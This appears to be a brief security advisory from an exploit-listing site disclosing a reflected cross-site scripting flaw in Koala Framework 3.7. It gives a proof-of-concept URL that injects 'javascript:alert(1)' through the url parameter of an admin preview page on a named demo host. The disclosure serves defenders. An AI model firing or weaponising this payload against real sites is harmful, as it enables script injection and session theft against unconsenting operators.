Koala Framework 3.7 Cross Site Scripting

2015.05.07
Credit: provensec
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Affected software: koala-framework # Type of vulnerability:xss # URL:koala-framework.org # Discovered by: provensec # Website: provensec.com #version: Version 3.7 # Proof of concept http://cms-demo.koala-framework.org/admin/component/preview/?url=javascript:alert(1)


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top